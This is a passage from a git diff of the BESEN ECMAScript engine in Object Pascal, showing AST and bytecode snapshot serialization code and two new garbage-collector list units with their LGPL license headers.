TBESENASTNodeObjectLiteralProperty(result).Container:=nil; + end; + end; + bntOBJECTLITERAL:begin + result:=CreateNode(TBESENASTNodeObjectLiteral); + SetLength(TBESENASTNodeObjectLiteral(result).Properties,ReadInt32); + for Counter:=0 to length(TBESENASTNodeObjectLiteral(result).Properties)-1 do begin + TBESENASTNodeObjectLiteral(result).Properties[Counter]:=TBESENASTNodeObjectLiteralProperty(ReadNode); + end; + end; + bntRETURNSTATEMENT:begin + result:=CreateNode(TBESENASTNodeReturnStatement); + TBESENASTNodeReturnStatement(result).Expression:=TBESENASTNodeExpression(ReadNode); + end; + bntPROGRAM:begin + result:=CreateNode(TBESENASTNodeProgram); + TBESENASTNodeProgram(result).Body:=TBESENASTNodeFunctionBody(ReadNode); + end; + bntFUNCTIONEXPRESSION:begin + result:=CreateNode(TBESENASTNodeFunctionExpression); + if ReadBool then begin + FunctionLiteral:=TBESENASTNodeFunctionLiteral(ReadNode); + if assigned(FunctionLiteral) then begin + if not assigned(FunctionLiteral.Container) then begin + FunctionLiteral.Container:=TBESENFunctionLiteralContainer.Create(Instance); + FunctionLiteral.Container.Literal:=FunctionLiteral; + end; + TBESENASTNodeFunctionExpression(result).Container:=FunctionLiteral.Container; + end else begin + TBESENASTNodeFunctionExpression(result).Container:=nil; + end; + end else begin + TBESENASTNodeFunctionExpression(result).Container:=nil; + end; + end; + end; + end; + end; + except + BESENFreeAndNil(result); + end; + end; +var Count,Counter:integer; + Key:TBESENString; +begin + VisitedNodes:=TBESENInt64SelfBalancedTree.Create; + LoadedKeyManagerIDs:=nil; + try + result:=nil; + try + if ReadInt64<>BESENCodeFormatRevisionNumber then begin + BESENThrowStream('Bad format'); + end; + Count:=ReadInt32; + SetLength(LoadedKeyManagerIDs,Count); + for Counter:=0 to Count-1 do begin + Key:=ReadWideString; + LoadedKeyManagerIDs[Counter].Key:=Key; + LoadedKeyManagerIDs[Counter].ID:=TBESEN(Instance).KeyIDManager.Get(Key); + end; + result:=ReadNode; + except + BESENFreeAndNil(result); + end; + finally + BESENFreeAndNil(VisitedNodes); + SetLength(LoadedKeyManagerIDs,0); + Key:=''; + end; +end; + +procedure TBESENCodeSnapshot.SaveToStream(const Stream:TStream;const RootNode:TBESENASTNode); +var VisitedNodes:TBESENPointerSelfBalancedTree; + procedure BESENThrowStream(const s:string); + begin + raise EStreamError.Create(s); + end; + procedure WriteByte(const b:byte); + begin + if Stream.Write(b,sizeof(byte))<>sizeof(byte) then begin + BESENThrowStream('Couldn''t write byte'); + end; + end; + procedure WriteBool(const b:boolean); + begin + if b then begin + WriteByte($ff); + end else begin + WriteByte(0); + end; + end; + procedure WriteInt32(const i:integer); + begin + if Stream.Write(i,sizeof(integer))<>sizeof(integer) then begin + BESENThrowStream('Couldn''t write integer'); + end; + end; + procedure WriteInt64(const i:int64); + begin + if Stream.Write(i,sizeof(int64))<>sizeof(int64) then begin + BESENThrowStream('Couldn''t write int64'); + end; + end; + procedure WriteDouble(const d:double); + begin + if Stream.Write(d,sizeof(double))<>sizeof(double) then begin + BESENThrowStream('Couldn''t write double'); + end; + end; + procedure WriteWideString(const ws:widestring); + begin + WriteInt32(length(ws)); + if length(ws)>0 then begin + if Stream.Write(ws[1],sizeof(widechar)*length(ws))<>(sizeof(widechar)*length(ws)) then begin + BESENThrowStream('Couldn''t write widestring'); + end; + end; + end; + procedure Visit(ToVisit:TBESENASTNode); + var Counter:integer; + VisitNodeValue:TBESENPointerSelfBalancedTreeValue; + v:PBESENValue; + Code:TBESENCode; + begin + WriteInt64(ptrint(ToVisit)); + if assigned(ToVisit) and not VisitedNodes.Find(ToVisit,VisitNodeValue) then begin + VisitNodeValue.p:=ToVisit; + VisitedNodes.Insert(ToVisit,VisitNodeValue); + WriteByte(ToVisit.NodeType); + WriteInt32(TBESENASTNode(ToVisit).Target); + WriteInt32(TBESENASTNode(ToVisit).Location.LineNumber); + WriteInt32(TBESENASTNode(ToVisit).CountTrashNodes); + for Counter:=0 to TBESENASTNode(ToVisit).CountTrashNodes-1 do begin + Visit(TBESENASTNode(ToVisit).TrashNodes[Counter]); + end; + case ToVisit.NodeType of + bntNONE:begin + end; + bntEXPRESSION:begin + end; + bntLITERAL:begin + end; + bntIDENTIFIER:begin + WriteWideString(TBESENASTNodeIdentifier(ToVisit).Name); + WriteInt32(TBESENASTNodeIdentifier(ToVisit).Index); + WriteInt32(TBESENASTNodeIdentifier(ToVisit).ParameterIndex); + WriteInt32(TBESENASTNodeIdentifier(ToVisit).ID); + WriteBool(TBESENASTNodeIdentifier(ToVisit).IsParameter); + WriteBool(TBESENASTNodeIdentifier(ToVisit).IsLocal); + end; + bntVARIABLEDECLARATION:begin + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Identifier); + Visit(TBESENASTNodeVariableDeclaration(ToVisit).Expression); + end; + bntVARIABLEEXPRESSION:begin + WriteInt32(length(TBESENASTNodeVariableExpression(ToVisit).Declarations)); + for Counter:=0 to length(TBESENASTNodeVariableExpression(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableExpression(ToVisit).Declarations[Counter]); + end; + end; + bntFUNCTIONBODY:begin + WriteBool(TBESENASTNodeFunctionBody(ToVisit).IsFunction); + WriteBool(TBESENASTNodeFunctionBody(ToVisit).IsEmpty); + WriteBool(TBESENASTNodeFunctionBody(ToVisit).EnableLocalsOptimization); + WriteBool(TBESENASTNodeFunctionBody(ToVisit).DisableArgumentsObject); + WriteInt32(length(TBESENASTNodeFunctionBody(ToVisit).Variables)); + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Variables)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Variables[Counter]); + end; + WriteInt32(length(TBESENASTNodeFunctionBody(ToVisit).Parameters)); + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Parameters)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Parameters[Counter]); + end; + WriteInt32(length(TBESENASTNodeFunctionBody(ToVisit).Functions)); + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Functions)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Functions[Counter]); + end; + WriteInt32(length(TBESENASTNodeFunctionBody(ToVisit).Statements)); + for Counter:=0 to length(TBESENASTNodeFunctionBody(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeFunctionBody(ToVisit).Statements[Counter]); + end; + WriteBool(assigned(TBESENASTNodeFunctionBody(ToVisit).Code)); + if assigned(TBESENASTNodeFunctionBody(ToVisit).Code) then begin + Code:=TBESENCode(TBESENASTNodeFunctionBody(ToVisit).Code); + Visit(Code.Body); + WriteInt32(Code.MaxRegisters); + WriteInt32(Code.MaxBlock); + WriteInt32(Code.MaxParamArgs); + WriteInt32(Code.MaxLoop); + WriteBool(Code.HasLocalDelete); + WriteBool(Code.IsComplexFunction); + WriteBool(Code.HasMaybeDirectEval); + WriteBool(Code.HoldLocalVariablesInRegisters); + WriteInt32(Code.CountFunctionLiteralContainers); + for Counter:=0 to Code.CountFunctionLiteralContainers-1 do begin + Visit(Code.FunctionLiteralContainers[Counter].Literal); + end; + WriteInt32(Code.CountLiterals); + for Counter:=0 to Code.CountLiterals-1 do begin + v:=@Code.Literals[Counter]; + WriteByte(v^.ValueType); + case v^.ValueType of + bvtNONE:begin + end; + bvtUNDEFINED:begin + end; + bvtNULL:begin + end; + bvtBOOLEAN:begin + WriteBool(v^.Bool); + end; + bvtNUMBER:begin + WriteDouble(v^.Num); + end; + bvtSTRING:begin + WriteWideString(v^.Str); + end; + else begin + BESENThrowStream('Couldn''t write value'); + end; + end; + end; + WriteInt32(Code.CountLocations); + for Counter:=0 to Code.CountLocations-1 do begin + WriteInt32(Code.Locations[Counter].LineNumber); + end; + WriteInt32(Code.CountVariables); + for Counter:=0 to Code.CountVariables-1 do begin + WriteWideString(Code.Variables[Counter].Name); + WriteBool(Code.Variables[Counter].IsParameter); + WriteInt32(Code.Variables[Counter].ParameterIndex); + end; + WriteInt32(Code.CountPolymorphicInlineCacheInstructions); + WriteInt32(Code.LookupNames.Count); + for Counter:=0 to Code.LookupNames.Count-1 do begin + WriteWideString(Code.LookupNames[Counter]); + end; + WriteInt32(Code.ByteCodeLen); + if Code.ByteCodeLen>0 then begin + if Stream.Write(Code.ByteCode[0],Code.ByteCodeLen*sizeof(TBESENUINT32))<>(Code.ByteCodeLen*sizeof(TBESENUINT32)) then begin + BESENThrowStream('Couldn''t write byte code'); + end; + end; + end; + end; + bntFUNCTIONLITERAL:begin + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Name); + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Container.Literal); + WriteInt32(TBESENASTNodeFunctionLiteral(ToVisit).Index); + Visit(TBESENASTNodeFunctionLiteral(ToVisit).Body); + end; + bntSTATEMENT:begin + end; + bntVARIABLESTATEMENT:begin + WriteInt32(length(TBESENASTNodeVariableStatement(ToVisit).Declarations)); + for Counter:=0 to length(TBESENASTNodeVariableStatement(ToVisit).Declarations)-1 do begin + Visit(TBESENASTNodeVariableStatement(ToVisit).Declarations[Counter]); + end; + end; + bntFUNCTIONDECLARATION:begin + WriteBool(assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container)); + if assigned(TBESENASTNodeFunctionDeclaration(ToVisit).Container) then begin + Visit(TBESENASTNodeFunctionDeclaration(ToVisit).Container.Literal); + end; + end; + bntEXPRESSIONSTATEMENT:begin + Visit(TBESENASTNodeExpressionStatement(ToVisit).Expression); + end; + bntEMPTYSTATEMENT:begin + end; + bntBLOCKSTATEMENT:begin + WriteInt32(length(TBESENASTNodeBlockStatement(ToVisit).Statements)); + for Counter:=0 to length(TBESENASTNodeBlockStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeBlockStatement(ToVisit).Statements[Counter]); + end; + end; + bntDEBUGGERSTATEMENT:begin + end; + bntBREAKSTATEMENT:begin + Visit(TBESENASTNodeBreakStatement(ToVisit).Identifier); + end; + bntCONTINUESTATEMENT:begin + Visit(TBESENASTNodeContinueStatement(ToVisit).Identifier); + end; + bntDOSTATEMENT:begin + Visit(TBESENASTNodeDoStatement(ToVisit).Statement); + Visit(TBESENASTNodeDoStatement(ToVisit).Expression); + end; + bntWHILESTATEMENT:begin + Visit(TBESENASTNodeWhileStatement(ToVisit).Expression); + Visit(TBESENASTNodeWhileStatement(ToVisit).Statement); + end; + bntWITHSTATEMENT:begin + Visit(TBESENASTNodeWithStatement(ToVisit).Expression); + Visit(TBESENASTNodeWithStatement(ToVisit).Statement); + end; + bntFORSTATEMENT:begin + Visit(TBESENASTNodeForStatement(ToVisit).Initial); + Visit(TBESENASTNodeForStatement(ToVisit).Condition); + Visit(TBESENASTNodeForStatement(ToVisit).Increment); + Visit(TBESENASTNodeForStatement(ToVisit).Statement); + end; + bntFORINSTATEMENT:begin + Visit(TBESENASTNodeForInStatement(ToVisit).Variable); + Visit(TBESENASTNodeForInStatement(ToVisit).Expression); + Visit(TBESENASTNodeForInStatement(ToVisit).Statement); + end; + bntIFSTATEMENT:begin + Visit(TBESENASTNodeIfStatement(ToVisit).Expression); + Visit(TBESENASTNodeIfStatement(ToVisit).TrueStatement); + Visit(TBESENASTNodeIfStatement(ToVisit).FalseStatement); + end; + bntLABELLEDSTATEMENT:begin + WriteInt32(length(TBESENASTNodeLabelledStatement(ToVisit).Identifiers)); + for Counter:=0 to length(TBESENASTNodeLabelledStatement(ToVisit).Identifiers)-1 do begin + Visit(TBESENASTNodeLabelledStatement(ToVisit).Identifiers[Counter]); + end; + Visit(TBESENASTNodeLabelledStatement(ToVisit).Statement); + end; + bntCASESTATEMENT:begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Expression); + WriteInt32(length(TBESENASTNodeCaseStatement(ToVisit).Statements)); + for Counter:=0 to length(TBESENASTNodeCaseStatement(ToVisit).Statements)-1 do begin + Visit(TBESENASTNodeCaseStatement(ToVisit).Statements[Counter]); + end; + end; + bntSWITCHSTATEMENT:begin + Visit(TBESENASTNodeSwitchStatement(ToVisit).Expression); + WriteInt32(length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)); + for Counter:=0 to length(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements)-1 do begin + Visit(TBESENASTNodeSwitchStatement(ToVisit).CaseStatements[Counter]); + end; + end; + bntTHROWSTATEMENT:begin + Visit(TBESENASTNodeThrowStatement(ToVisit).Expression); + end; + bntTRYSTATEMENT:begin + Visit(TBESENASTNodeTryStatement(ToVisit).TryBlock); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchIdentifier); + Visit(TBESENASTNodeTryStatement(ToVisit).CatchBlock); + Visit(TBESENASTNodeTryStatement(ToVisit).FinallyBlock); + end; + bntARRAYLITERAL:begin + WriteInt32(length(TBESENASTNodeArrayLiteral(ToVisit).Elements)); + for Counter:=0 to length(TBESENASTNodeArrayLiteral(ToVisit).Elements)-1 do begin + Visit(TBESENASTNodeArrayLiteral(ToVisit).Elements[Counter]); + end; + end; + bntBINARYEXPRESSION:begin + Visit(TBESENASTNodeBinaryExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTOPERATOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentOperatorExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMULTIPLYEXPRESSION:begin + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentMultiplyExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTDIVIDEEXPRESSION:begin + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMODULOEXPRESSION:begin + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTPLUSEXPRESSION:begin + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTMINUSEXPRESSION:begin + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression); + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression); + end; + bntBINARYOPERATOREXPRESSION:begin + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression); + end; + bntBINARYCOMMAEXPRESSION:begin + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression); + end; + bntBINARYDIVIDEEXPRESSION:begin + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression); + end; + bntBINARYMODULOEXPRESSION:begin + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression); + end; + bntBINARYMULTIPLYEXPRESSION:begin + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression); + end; + bntBINARYPLUSEXPRESSION:begin + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression); + end; + bntBINARYMINUSEXPRESSION:begin + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression); + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression); + end; + bntBINARYGREATERTHANEXPRESSION:begin + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression); + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression); + end; + bntBINARYLESSTHANEXPRESSION:begin + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression); + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression); + end; + bntBINARYINSTANCEOFEXPRESSION:begin + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression); + end; + bntBINARYINEXPRESSION:begin + Visit(TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryInExpression(ToVisit).RightExpression); + end; + bntBINARYEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYNOTEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression); + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEANDEXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEXOREXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression); + end; + bntBINARYBITWISEOREXPRESSION:begin + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression); + end; + bntBOOLEANLITERAL:begin + WriteBool(TBESENASTNodeBooleanLiteral(ToVisit).Value); + end; + bntCALLEXPRESSION:begin + Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction); + WriteInt32(length(TBESENASTNodeCallExpression(ToVisit).Arguments)); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter]); + end; + end; + bntNEWEXPRESSION:begin + Visit(TBESENASTNodeNewExpression(ToVisit).TheFunction); + WriteInt32(length(TBESENASTNodeNewExpression(ToVisit).Arguments)); + for Counter:=0 to length(TBESENASTNodeNewExpression(ToVisit).Arguments)-1 do begin + Visit(TBESENASTNodeNewExpression(ToVisit).Arguments[Counter]); + end; + end; + bntCONDITIONALEXPRESSION:begin + Visit(TBESENASTNodeConditionalExpression(ToVisit).Expression); + Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression); + Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression); + end; + bntUNARYEXPRESSION:begin + Visit(TBESENASTNodeUnaryExpression(ToVisit).SubExpression); + end; + bntUNARYOPERATOREXPRESSION:begin + Visit(TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression); + end; + bntUNARYPLUSEXPRESSION:begin + Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression); + end; + bntUNARYMINUSEXPRESSION:begin + Visit(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression); + end; + bntUNARYBITWISENOTEXPRESSION:begin + Visit(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression); + end; + bntUNARYLOGICALNOTEXPRESSION:begin + Visit(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression); + end; + bntUNARYVOIDEXPRESSION:begin + Visit(TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression); + end; + bntUNARYTYPEOFEXPRESSION:begin + Visit(TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression); + end; + bntPROPERTYEXPRESSION:begin + WriteBool(TBESENASTNodePropertyExpression(ToVisit).Dot); + Visit(TBESENASTNodePropertyExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodePropertyExpression(ToVisit).RightExpression); + end; + bntLOGICALANDEXPRESSION:begin + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression); + end; + bntLOGICALOREXPRESSION:begin + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression); + Visit(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression); + end; + bntDELETEEXPRESSION:begin + Visit(TBESENASTNodeDeleteExpression(ToVisit).SubExpression); + end; + bntPOSTFIXINCEXPRESSION:begin + Visit(TBESENASTNodePostfixIncExpression(ToVisit).SubExpression); + end; + bntPOSTFIXDECEXPRESSION:begin + Visit(TBESENASTNodePostfixDecExpression(ToVisit).SubExpression); + end; + bntPREFIXINCEXPRESSION:begin + Visit(TBESENASTNodePrefixIncExpression(ToVisit).SubExpression); + end; + bntPREFIXDECEXPRESSION:begin + Visit(TBESENASTNodePrefixDecExpression(ToVisit).SubExpression); + end; + bntNULLLITERAL:begin + end; + bntNUMBERLITERAL:begin + WriteDouble(TBESENASTNodeNumberLiteral(ToVisit).Value); + end; + bntREGEXPLITERAL:begin + WriteWideString(TBESENASTNodeRegExpLiteral(ToVisit).Source); + WriteWideString(TBESENASTNodeRegExpLiteral(ToVisit).Flags); + end; + bntSTRINGLITERAL:begin + WriteWideString(TBESENASTNodeStringLiteral(ToVisit).Value); + end; + bntTHISLITERAL:begin + end; + bntOBJECTLITERALPROPERTY:begin + WriteWideString(TBESENASTNodeObjectLiteralProperty(ToVisit).Name); + WriteInt32(integer(TBESENASTNodeObjectLiteralProperty(ToVisit).PropertyType)); + WriteInt32(integer(TBESENASTNodeObjectLiteralProperty(ToVisit).PropertyAccessorType)); + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Value); + WriteBool(assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container)); + if assigned(TBESENASTNodeObjectLiteralProperty(ToVisit).Container) then begin + Visit(TBESENASTNodeObjectLiteralProperty(ToVisit).Container.Literal); + end; + end; + bntOBJECTLITERAL:begin + WriteInt32(length(TBESENASTNodeObjectLiteral(ToVisit).Properties)); + for Counter:=0 to length(TBESENASTNodeObjectLiteral(ToVisit).Properties)-1 do begin + Visit(TBESENASTNodeObjectLiteral(ToVisit).Properties[Counter]); + end; + end; + bntRETURNSTATEMENT:begin + Visit(TBESENASTNodeReturnStatement(ToVisit).Expression); + end; + bntPROGRAM:begin + Visit(TBESENASTNodeProgram(ToVisit).Body); + end; + bntFUNCTIONEXPRESSION:begin + WriteBool(assigned(TBESENASTNodeFunctionExpression(ToVisit).Container)); + if assigned(TBESENASTNodeFunctionExpression(ToVisit).Container) then begin + Visit(TBESENASTNodeFunctionExpression(ToVisit).Container.Literal); + end; + end; + end; + end; + end; +var Counter:integer; +begin + VisitedNodes:=TBESENPointerSelfBalancedTree.Create; + try + WriteInt64(BESENCodeFormatRevisionNumber); + WriteInt32(TBESEN(Instance).KeyIDManager.List.Count); + for Counter:=0 to TBESEN(Instance).KeyIDManager.List.Count-1 do begin + WriteWideString(TBESEN(Instance).KeyIDManager.List[Counter]); + end; + Visit(RootNode); + finally + BESENFreeAndNil(VisitedNodes); + end; +end; + +end. diff --git a/Core/JS/BESENCollector.pas b/Core/JS/BESENCollector.pas new file mode 100644 index 0000000..e3f03d9 --- /dev/null +++ b/Core/JS/BESENCollector.pas @@ -0,0 +1,73 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCollector; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENBaseObject,BESENCollectorObject; + +type TBESENCollector=class(TBESENBaseObject) + public + First,Last:TBESENCollectorObject; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + procedure Clear; + end; + +implementation + +uses BESEN; + +constructor TBESENCollector.Create(AInstance:TObject); +begin + inherited Create(AInstance); + First:=nil; + Last:=nil; +end; + +destructor TBESENCollector.Destroy; +begin + Clear; + inherited Destroy; +end; + +procedure TBESENCollector.Clear; +begin + while assigned(First) do begin + First.Free; + end; + First:=nil; + Last:=nil; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENCollectorObject.pas b/Core/JS/BESENCollectorObject.pas new file mode 100644 index 0000000..b5c3e71 --- /dev/null +++ b/Core/JS/BESENCollectorObject.pas @@ -0,0 +1,80 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENCollectorObject; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENBaseObject; + +type TBESENCollectorObject=class(TBESENBaseObject) + public + CollectorPrevious,CollectorNext:TBESENCollectorObject; + constructor Create(AInstance:TObject); overload; override; + destructor Destroy; override; + end; + +implementation + +uses BESEN; + +constructor TBESENCollectorObject.Create(AInstance:TObject); +begin + inherited Create; + Instance:=AInstance; + CollectorPrevious:=TBESEN(Instance).Collector.Last; + CollectorNext:=nil; + if 